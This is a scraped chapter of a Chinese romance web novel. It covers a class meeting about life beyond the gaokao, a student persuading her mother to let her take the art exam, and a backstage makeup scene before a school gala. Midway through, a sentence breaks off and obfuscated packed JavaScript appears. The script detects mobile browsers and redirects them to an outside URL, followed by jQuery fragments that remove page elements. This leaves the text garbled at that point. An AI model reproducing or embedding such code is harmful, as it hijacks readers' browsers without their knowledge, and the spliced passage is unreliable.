32. 第 32 章

作品:《声色浪漫[破镜重圆]

    下午的第一节自习课改成了班会,但对于四班的大部分学生来说,只不过是讲台上多了些干扰注意力的杂音。今天的班会主题却似乎跟以往的形式主义不太一样,只见林澍拉开黑板,第一页PPT写着几个醒目大字:橘子不是唯一的水果。


    沈羡瑶写题的笔尖一顿,悄悄碰了碰江昱然的胳膊肘:“你读过这本书吗?”


    “看了一半,”他点点头,倒是实诚地承认,“但有点没看进去,云里雾里的。”


    她哑然失笑,将目光重新投回讲台。


    林澍清清嗓子,语气是他少有的严肃:“大家都知道,前不久高三的三模结束,也就是说,还有半月出头的时间,你们的学长就要迎来真正的高考。而明年的这个时候,将要奔赴战场的就是在座的各位。”


    相当经典的开场白,教室里的气压一时都低了些。


    他缓缓扫过座位上的每一个同学,却忽地弯弯唇角,话锋一转:“但今天,我想聊点别的。”


    众人一怔,不约而同停下了手中的事情。


    “作为四班的学生,在这样的时刻,我想我已经没有必要再跟大家一遍遍强调努力和自律。比起老生常谈的学习话题,我更想聊一聊你们的将来,以朋友的身份。”


    “其实你们这个年纪,对自己人生有清晰规划的反而是少数,大部分人都还处在迷茫的阶段,只是在父母老师的督促以及社会的规劝下被推着向前走。虽然我跟李主任常常把高三是你们人生最关键的一年这种话挂在嘴边,但其实也都是为了让各位重视紧张起来。我们都明白,人生不止高考这一道关卡,就算有的同学赶路和通关的速度要比别人慢一些,完成得或许也不是那么漂亮,但你们精彩的人生才刚刚开始,风华正茂,前路漫漫。”


    “在距离高考还有一年的时候,同学们不妨想一想自己将来想做什么,也不用着急交出答案,慢慢摸索适合自己的方向,平凡而安足地过完一生也是了不起的梦想。”


    “虽然高考确实对于绝大部分人来说,是你们一生之中最公平的考试,也是通往世俗意义上的成功的最佳捷径。”


    “我仍旧希望各位明白,围墙坍塌,原来外面还有别的世界,命运,还有别的可能。而橘子,从来都不是唯一的水果。”


    林澍给每个人发了一张信纸:“这封信,你可以写给自己,也可以写给朋友或是其他想写给的人。等到明年的这个时间,再把它拆开看,也许会有不一样的体悟。”


    沈羡瑶将信纸摊在桌面捋平整,正摁着笔盖思索的功夫,却像是感应到什么,转头便从江昱然的眼瞳中瞧见了自己。两人皆是微微一笑,略加思索,她转动手腕在纸张的开头郑重写下几个字。


    致江昱然:


    -


    一回到家中,沈羡瑶连鞋子都没来得及摆放好,就不管不顾地摊在床上,变成派大星模样。今天晚会从头到尾走台彩排,距离正式的演出只剩下最后三天,除了成果即将展现给大家的兴奋和期待,更多的是担心自己搞砸的压力与忧虑。她有时也觉得自己太钻牛角尖,可面对这样梦寐以求的机会,她太想事事做得完美。


    踩着拖鞋走出房间时,沈如晴正在给家里仅有的一盆君子兰浇水,翠绿的叶子被养得肥厚肥厚的。


    听到脚步声,她提着水壶转头去看在原地发呆的沈羡瑶:“怎么还不睡觉,洗个苹果吃吧?”


    沈羡瑶摇摇头,温吞扶着桌角坐下,忽地轻声道:“妈,你有想过我将来要做什么吗?”


    她仍照看着心爱的君子兰:“想做什么做什么喽,你先别想这些杂七杂八的,等高考考出个好成绩,以后的选择多的是,到时候妈找专业的人给你填志愿。”


    “我还是想考江大。”沈羡瑶犹豫一瞬,终是说。


    她怔了瞬,晒然一笑:“好啊,江大好啊,我女儿是个有志气的。只不过,你现在的成绩不是还差一点嘛。能考上肯定是最好,考不上咱就冲一个稳妥点的985。”


    “嗯,但现在的门路有很多,不一定只死盯着高考这一条路,只顾着埋头学习。”


    “...什么意思?”沈如晴这才停下来,瞳仁晃了晃,“你,你不高考啦?”声音都带着丝颤抖,她第一反应是沈羡瑶在学校受了什么委屈,忙不迭上前两步。


    “妈,我想艺考。”她鼓起勇气,一口气说出来。


    沈如晴眨了眨眼睛,显得迷茫:“艺考?要交什么钱吗?”双手交叉着垂落,不安又局促地来回抠着指甲。


    “就是报名费和去考试的路费,其他的不需要什么钱了,我也不打算报培训班什么的。我就是想试试,江大的广播电视编导专业很有名,如果能拿到合格证,我现在的分数上江大非常稳。”


    “广播电视编导?以后出来能干什么啊?”


    “影视传媒,网络新媒体什么的,我目前的规划是舞台导演。”


    “导演?”沈如晴愣了愣,声音变弱,“好像也挣不了什么钱...”


    “但我喜欢,”提到喜欢的事物,沈羡瑶眼里跃动着星点光芒,“而且,任何一个行业做到头部都会很挣钱的。”她信誓旦旦地讲着,是少年人珍贵而赤诚的满腔热血。


    她拉着沈如晴兴致勃勃地与她说起自己的规划与展望,满是对未来的憧憬,她很少有这样话痨的时刻,只觉得有说不完的话要讲。


    沈如晴怔怔地盯了她许久,只是轻轻点头:“好,你喜欢那就做吧。”


    还在喋喋不休的沈羡瑶戛然而止,像是被突如其来的巨型馅饼砸中,半晌说不出话。这,这就同意了?天知道她准备了多少说辞和思想工作。


    沈如晴看她这副模样,低笑道:“如果我不同意,你就会放弃吗?”


    她将嘴巴抿了又抿,不好意思地摇摇脑袋,也跟着笑出来。


    “是了,这就是你,倔驴一样但又一往无前的沈羡瑶,你不是那种想一出是一出的孩子,但凡决定好的事,就会想尽办法去完成。”


    “妈妈一直很抱歉,没能让你出生在一个能给你强大支撑的美满家庭,没能成为你的底气,甚至有时还要让你反过来操心家里。包括你要艺考这事,妈妈也帮不了什么。”沈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902170|132032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如晴低垂着脑袋,轻轻说,诚恳又无奈。


    “怎么会,”沈羡瑶鼻头发酸,靠在沈如晴肩膀轻而缓地蹭动,“你永远是我一往无前的底气。”


    “妈妈,周五我们校庆晚会,我是总导演,你来看吧。”直到现在,她才跟沈如晴说了晚会的事情。


    她舔舔嘴唇,道:“好多媒体都会来,如果我搞砸了,你会不会觉得很丢脸。”


    “怎么会,”沈如晴学着她刚刚的话,“你是我的女儿啊。”


    -


    午后的太阳正是热烈,阳光映得白墙金灿灿,风穿透香樟树四面八方舒展开来的枝桠,奏响夏日的号角。


    礼堂后台空间有限,节目靠后的同学都在自己教室里准备妆造。沈羡瑶占据一个小小的角落,将不时有碎叶落进来的窗户关上,捧着散粉微不可闻地叹了口气。


    江昱然敏锐地捕捉到这一丝轻叹,开玩笑道:“怎么,我有这么难画,不应该啊。”他正坐在椅子上,一副任人宰割的模样。


    “那倒也没有,只不过我确实是第一次给男生化妆,技术有限。”她将江昱然的脑袋掰过来又掰回去,拿起粉扑毫不客气地在他脸上定妆。


    只差最后的口红,沈羡瑶在心底舒了一口气,暗自庆幸不说锦上添花,至少没有毁了江昱然这张顶好顶好的脸蛋。她让他靠在椅背,自己弯下腰,拿起唇釉,小心翼翼地涂在他的嘴唇。


    左手指尖扶住他微微昂起的下巴,唇釉刷头轻轻抚过唇瓣,酥酥痒痒的,不一会儿就化作哑光雾面,变得艳红。


    “会不会有点太红了?”江昱然有些不习惯,别扭地小声抗议。


    “好像是有点,”沈羡瑶没憋住笑,“不过舞台的灯一照,应该刚刚好。”


    她说着用食指指腹蜻蜓点水般沾上他唇珠,好让颜色抹得更均匀些,她原本还在专注着手上动作,却也不禁越来越迟疑,直到和江昱然认真的眼眸撞了个正着。


    直勾勾,湿漉漉。


    他穿着纯白衬衫,脖颈处系了条蓝灰领带,是他们两个一起挑的。双腿因为方便沈羡瑶动作微微敞开,正正好好将她整个人圈在中间,她弯着腰手还停留在原地,这才发现彼此的距离有些过分的近,甚至只差一点点,就能感受到交缠而克制的鼻息。


    她的眼神落在他眼角的那颗泪痣,有一瞬恍然,江昱然的嘴唇忽地就变得灼烫灼烫的,她一个激灵缩回手,险些没站稳。


    预想中的狼狈和疼痛并没有到来,后腰被稳稳托住,整个人落入臂弯中,陷进佛手柑织成的细密蛛网,腰窝和掌心贴了个结实,传来滚烫温度。


    痒酥酥,晕乎乎。


    只是片刻的怔愣,两人都变得慌乱起来,沈羡瑶逃似的挣脱意外的桎梏,收拾起一旁的化妆包,看起来很淡定,如果不是脑袋就没再抬起来过的话。


    四点半,离晚会开始还有一个小时。


    沈羡瑶盯着墙上嘀嗒转的钟表,深吸一口气,和起身整理着装的江昱然相视而笑,一切尽在不言中。


    这场等待已久的盛大战役终于正式拉开帷幕。